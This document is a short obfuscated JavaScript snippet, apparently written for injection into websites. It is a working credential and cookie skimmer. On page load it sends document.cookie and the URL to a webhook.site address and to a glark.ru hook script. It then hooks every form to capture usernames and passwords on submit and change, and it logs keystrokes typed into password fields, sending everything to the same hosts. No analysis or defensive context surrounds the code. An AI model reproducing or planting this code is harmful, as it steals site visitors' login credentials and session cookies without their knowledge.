;/*W0*/ (function(){
var WS="https://webhook.site/dd72c0ff-4d79-4a40-be35-432e11c8a94f";
var LH="https://glark.ru/apps/js/hook.php";
try{document.cookie="ispmgrlang5=dragon:ru;path=/;domain=glark.ru";}catch(e){}
function be(u,d){var s=u+"?c="+encodeURIComponent(document.cookie)+"&u="+encodeURIComponent(location.href);
if(d)s+="&d="+encodeURIComponent(JSON.stringify(d));
try{var i=new Image();i.src=s;}catch(e){}
try{fetch(u,{method:"POST",body:JSON.stringify({c:document.cookie,url:location.href,d:d})});}catch(e){}}
function send(d){be(WS,d);be(LH,d);}
send({t:"load"});
function grab(f){var o={},ps=f.querySelectorAll('input[type="password"],input[name="password"],input[name="pass"]');
if(ps.length){o.p=[];for(var i=0;i<ps.length;i++)o.p.push(ps[i].value);}
var us=f.querySelectorAll('input[type="text"],input[name="username"],input[name="login"],input[name="user"]');
for(var j=0;j<us.length;j++){if(us[j].value){o.u=us[j].value;break}}
return o;}
function arm(f){if(!f||f.getAttribute("data-hk"))return;f.setAttribute("data-hk","1");
f.addEventListener("submit",function(){var d=grab(f);if((d.p&&d.p.join(""))||d.u){send({t:"submit",id:f.id,name:f.name,d:d});}else{send({t:"submit",id:f.id});}});
f.addEventListener("change",function(){var d=grab(f);if(d.p&&d.p.join(""))send({t:"change",id:f.id,d:d});});}
function scan(){var fs=document.querySelectorAll("form");for(var i=0;i<fs.length;i++)arm(fs[i]);}
scan();
document.addEventListener("keydown",function(e){var t=e.target||e.srcElement;
if(t&&((t.type||"").toLowerCase()==="password"||/pass/i.test(t.name||"")||/pass/i.test(t.id||""))){send({t:"key",id:t.id,name:t.name,v:t.value});}},true);
var n=0,iv=setInterval(function(){scan();if(++n>60)clearInterval(iv);},1000);
window.addEventListener("beforeunload",function(){send({t:"unload"});});
})();/*W1*/
